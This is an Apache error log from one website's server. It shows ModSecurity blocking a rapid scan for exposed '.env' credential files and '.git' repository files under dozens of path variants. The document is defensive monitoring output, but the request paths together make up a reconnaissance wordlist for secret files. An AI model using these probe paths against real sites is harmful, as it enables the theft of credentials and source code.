[Fri Mar 20 02:02:07.736687 2026] [:error] [pid 46264:tid 46304] [client 172.71.144.21:13017] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env2"] [unique_id "abw6H4p3TruHFmWOt5Hz4QAAABU"]
[Fri Mar 20 02:02:07.746483 2026] [:error] [pid 11258:tid 11277] [client 172.71.144.34:13234] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "abw6H5PHb95f6xzHJOcqiAAAANE"]
[Fri Mar 20 02:02:07.784913 2026] [:error] [pid 46264:tid 46296] [client 172.71.144.20:13955] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "abw6H4p3TruHFmWOt5Hz4gAAAA0"]
[Fri Mar 20 02:02:07.847436 2026] [:error] [pid 46264:tid 46303] [client 172.71.144.21:13021] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.bak"] [unique_id "abw6H4p3TruHFmWOt5Hz4wAAABQ"]
[Fri Mar 20 02:02:08.415698 2026] [:error] [pid 46264:tid 46283] [client 172.71.144.34:13235] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "abw6IIp3TruHFmWOt5Hz5AAAAAA"]
[Fri Mar 20 02:02:08.737133 2026] [:error] [pid 46125:tid 46253] [client 172.71.144.35:10342] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "abw6IGgN4lI6NHeckY5mpgAAAJY"]
[Fri Mar 20 02:02:08.770735 2026] [:error] [pid 46124:tid 46181] [client 172.71.144.35:10344] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "abw6IEzMrlLOY6zyCjKImwAAAEE"]
[Fri Mar 20 02:02:08.782795 2026] [:error] [pid 11258:tid 11262] [client 172.71.144.21:13022] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.container"] [unique_id "abw6IJPHb95f6xzHJOcqiQAAAMI"]
[Fri Mar 20 02:02:08.789970 2026] [:error] [pid 46125:tid 46237] [client 172.71.144.34:13242] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docker/.env"] [unique_id "abw6IGgN4lI6NHeckY5mpwAAAI4"]
[Fri Mar 20 02:02:09.133987 2026] [:error] [pid 46126:tid 46252] [client 172.71.144.21:13026] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/www/.env"] [unique_id "abw6IaQ44YePbsZz3j7ZjwAAARU"]
[Fri Mar 20 02:02:09.439769 2026] [:error] [pid 11258:tid 11266] [client 172.71.144.21:13647] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docker/.env.local"] [unique_id "abw6IZPHb95f6xzHJOcqigAAAMY"]
[Fri Mar 20 02:02:09.764447 2026] [:error] [pid 46125:tid 46249] [client 172.71.144.20:10044] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/server/.env"] [unique_id "abw6IWgN4lI6NHeckY5mqAAAAJQ"]
[Fri Mar 20 02:02:09.793830 2026] [:error] [pid 46125:tid 46210] [client 172.71.144.20:10046] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/srv/.env"] [unique_id "abw6IWgN4lI6NHeckY5mqQAAAIE"]
[Fri Mar 20 02:02:09.819555 2026] [:error] [pid 46125:tid 46217] [client 172.71.144.21:13654] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/site/.env"] [unique_id "abw6IWgN4lI6NHeckY5mqwAAAIQ"]
[Fri Mar 20 02:02:10.154826 2026] [:error] [pid 46125:tid 46258] [client 172.71.144.21:13657] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/.env"] [unique_id "abw6ImgN4lI6NHeckY5mrQAAAJg"]
[Fri Mar 20 02:02:10.460969 2026] [:error] [pid 46264:tid 46298] [client 172.71.144.35:10347] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/var/www/html/.env"] [unique_id "abw6Iop3TruHFmWOt5Hz6wAAAA8"]
[Fri Mar 20 02:02:10.821655 2026] [:error] [pid 11258:tid 11279] [client 172.71.144.20:10048] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_config"] [unique_id "abw6IpPHb95f6xzHJOcqkAAAANM"]
[Fri Mar 20 02:02:10.821655 2026] [:error] [pid 46125:tid 46229] [client 172.71.144.35:10355] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/root/.env"] [unique_id "abw6ImgN4lI6NHeckY5msAAAAIo"]
[Fri Mar 20 02:02:11.306250 2026] [:error] [pid 46264:tid 46292] [client 172.71.144.35:10359] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "abw6I4p3TruHFmWOt5Hz8wAAAAk"]
[Fri Mar 20 02:02:11.339775 2026] [:error] [pid 46264:tid 46295] [client 172.71.144.21:10008] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "abw6I4p3TruHFmWOt5Hz9AAAAAw"]
[Fri Mar 20 02:02:11.824286 2026] [:error] [pid 46264:tid 46299] [client 172.71.144.21:10010] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "abw6I4p3TruHFmWOt5Hz-AAAABA"]
[Fri Mar 20 02:02:11.840586 2026] [:error] [pid 46264:tid 46301] [client 172.71.144.20:10056] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.backup"] [unique_id "abw6I4p3TruHFmWOt5Hz-QAAABI"]
[Fri Mar 20 02:02:11.858338 2026] [:error] [pid 46264:tid 46296] [client 172.71.144.21:10014] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/index"] [unique_id "abw6I4p3TruHFmWOt5Hz-gAAAA0"]
[Fri Mar 20 02:02:12.358141 2026] [:error] [pid 46264:tid 46287] [client 172.71.144.20:11123] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/refs/heads/master"] [unique_id "abw6JIp3TruHFmWOt5H0AQAAAAQ"]
[Fri Mar 20 02:02:12.370496 2026] [:error] [pid 46124:tid 46193] [client 172.71.144.21:10018] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/refs/heads/main"] [unique_id "abw6JEzMrlLOY6zyCjKInwAAAE0"]
[Fri Mar 20 02:02:12.881637 2026] [:error] [pid 46125:tid 46237] [client 172.71.144.35:10725] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "abw6JGgN4lI6NHeckY5mtAAAAI4"]
[Fri Mar 20 02:02:49.170419 2026] [:error] [pid 46124:tid 46195] [client 162.158.2.112:11514] [client 162.158.2.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "abw6SUzMrlLOY6zyCjKI-wAAAE8"]
[Fri Mar 20 02:02:49.253592 2026] [:error] [pid 46264:tid 46302] [client 162.158.3.112:9217] [client 162.158.3.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "abw6SYp3TruHFmWOt5H0YwAAABM"]
[Fri Mar 20 02:02:49.444106 2026] [:error] [pid 46124:tid 46189] [client 162.158.2.179:11338] [client 162.158.2.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.tmp"] [unique_id "abw6SUzMrlLOY6zyCjKI_AAAAEk"]
[Fri Mar 20 02:02:49.510156 2026] [:error] [pid 11258:tid 11279] [client 162.158.3.98:13702] [client 162.158.3.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "abw6SZPHb95f6xzHJOcq4QAAANM"]
[Fri Mar 20 02:02:49.678374 2026] [:error] [pid 46124:tid 46188] [client 162.158.3.111:10394] [client 162.158.3.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.local"] [unique_id "abw6SUzMrlLOY6zyCjKI_QAAAEg"]
[Fri Mar 20 02:02:49.772795 2026] [:error] [pid 46264:tid 46297] [client 162.158.3.21:9406] [client 162.158.3.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "abw6SYp3TruHFmWOt5H0ZQAAAA4"]
[Fri Mar 20 02:02:49.949031 2026] [:error] [pid 46264:tid 46287] [client 162.158.3.83:13016] [client 162.158.3.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "abw6SYp3TruHFmWOt5H0ZgAAAAQ"]
[Fri Mar 20 02:02:50.029555 2026] [:error] [pid 46124:tid 46191] [client 162.158.3.97:10102] [client 162.158.3.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "abw6SkzMrlLOY6zyCjKJAAAAAEs"]
[Fri Mar 20 02:02:50.218578 2026] [:error] [pid 46126:tid 46218] [client 162.158.2.197:9279] [client 162.158.2.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "abw6SqQ44YePbsZz3j7ZuAAAAQQ"]
[Fri Mar 20 02:02:50.284176 2026] [:error] [pid 11258:tid 11282] [client 162.158.3.130:12035] [client 162.158.3.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "abw6SpPHb95f6xzHJOcq4wAAANY"]
[Fri Mar 20 02:02:50.494439 2026] [:error] [pid 46264:tid 46288] [client 162.158.3.84:10119] [client 162.158.3.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "abw6Sop3TruHFmWOt5H0ZwAAAAU"]
[Fri Mar 20 02:02:50.552154 2026] [:error] [pid 46125:tid 46213] [client 162.158.3.22:9377] [client 162.158.3.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "abw6SmgN4lI6NHeckY5m0QAAAII"]
[Fri Mar 20 02:02:50.770673 2026] [:error] [pid 46125:tid 46255] [client 162.158.2.178:14278] [client 162.158.2.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/private/.env"] [unique_id "abw6SmgN4lI6NHeckY5m0gAAAJc"]
[Fri Mar 20 02:02:51.069401 2026] [:error] [pid 46264:tid 46305] [client 162.158.3.98:13706] [client 162.158.3.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.php"] [unique_id "abw6S4p3TruHFmWOt5H0aQAAABY"]
[Fri Mar 20 02:02:51.316788 2026] [:error] [pid 46264:tid 46285] [client 162.158.3.84:10127] [client 162.158.3.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.json"] [unique_id "abw6S4p3TruHFmWOt5H0agAAAAI"]
[Fri Mar 20 02:02:51.320274 2026] [:error] [pid 46264:tid 46299] [client 162.158.3.129:13733] [client 162.158.3.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_backup"] [unique_id "abw6S4p3TruHFmWOt5H0awAAABA"]
[Fri Mar 20 02:02:51.577370 2026] [:error] [pid 11258:tid 11279] [client 162.158.3.111:10401] [client 162.158.3.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "abw6S5PHb95f6xzHJOcq6QAAANM"]
[Fri Mar 20 02:02:51.588502 2026] [:error] [pid 11258:tid 11268] [client 162.158.3.22:9383] [client 162.158.3.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env1"] [unique_id "abw6S5PHb95f6xzHJOcq6gAAAMg"]
[Fri Mar 20 02:02:51.812886 2026] [:error] [pid 46126:tid 46242] [client 162.158.3.98:13713] [client 162.158.3.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env2"] [unique_id "abw6S6Q44YePbsZz3j7ZuwAAARA"]
[Fri Mar 20 02:02:51.845896 2026] [:error] [pid 46126:tid 46244] [client 162.158.3.83:13020] [client 162.158.3.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dist"] [unique_id "abw6S6Q44YePbsZz3j7ZvAAAARE"]
[Fri Mar 20 02:02:51.848386 2026] [:error] [pid 11258:tid 11282] [client 162.158.3.119:12284] [client 162.158.3.119] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.envrc"] [unique_id "abw6S5PHb95f6xzHJOcq6wAAANY"]
[Fri Mar 20 02:02:52.067213 2026] [:error] [pid 46124:tid 46183] [client 162.158.3.112:9225] [client 162.158.3.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "abw6TEzMrlLOY6zyCjKJAgAAAEM"]
[Fri Mar 20 02:02:52.109169 2026] [:error] [pid 46264:tid 46290] [client 162.158.3.120:9317] [client 162.158.3.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.prod"] [unique_id "abw6TIp3TruHFmWOt5H0cAAAAAc"]
[Fri Mar 20 02:02:52.112952 2026] [:error] [pid 46264:tid 46284] [client 162.158.2.197:10543] [client 162.158.2.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.bak"] [unique_id "abw6TIp3TruHFmWOt5H0cQAAAAE"]
[Fri Mar 20 02:02:52.319981 2026] [:error] [pid 46124:tid 46204] [client 162.158.2.112:9332] [client 162.158.2.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "abw6TEzMrlLOY6zyCjKJAwAAAFg"]
[Fri Mar 20 02:02:52.340817 2026] [:error] [pid 46124:tid 46194] [client 162.158.2.178:14286] [client 162.158.2.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.docker"] [unique_id "abw6TEzMrlLOY6zyCjKJBAAAAE4"]
[Fri Mar 20 02:02:52.364671 2026] [:error] [pid 11258:tid 11273] [client 162.158.3.111:10404] [client 162.158.3.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.container"] [unique_id "abw6TJPHb95f6xzHJOcq7QAAAM0"]
[Fri Mar 20 02:02:52.374072 2026] [:error] [pid 11258:tid 11265] [client 162.158.2.106:12519] [client 162.158.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docker/.env"] [unique_id "abw6TJPHb95f6xzHJOcq7gAAAMU"]
[Fri Mar 20 02:02:52.613825 2026] [:error] [pid 11258:tid 11281] [client 162.158.3.83:13028] [client 162.158.3.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/docker/.env.local"] [unique_id "abw6TJPHb95f6xzHJOcq8QAAANU"]
[Fri Mar 20 02:02:52.625243 2026] [:error] [pid 11258:tid 11272] [client 162.158.3.21:10710] [client 162.158.3.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/server/.env"] [unique_id "abw6TJPHb95f6xzHJOcq8gAAAMw"]
[Fri Mar 20 02:02:52.625733 2026] [:error] [pid 11258:tid 11271] [client 162.158.3.130:13590] [client 162.158.3.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/srv/.env"] [unique_id "abw6TJPHb95f6xzHJOcq8wAAAMs"]
[Fri Mar 20 02:02:52.836413 2026] [:error] [pid 46125:tid 46243] [client 162.158.3.97:10105] [client 162.158.3.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/web/.env"] [unique_id "abw6TGgN4lI6NHeckY5m1QAAAJE"]
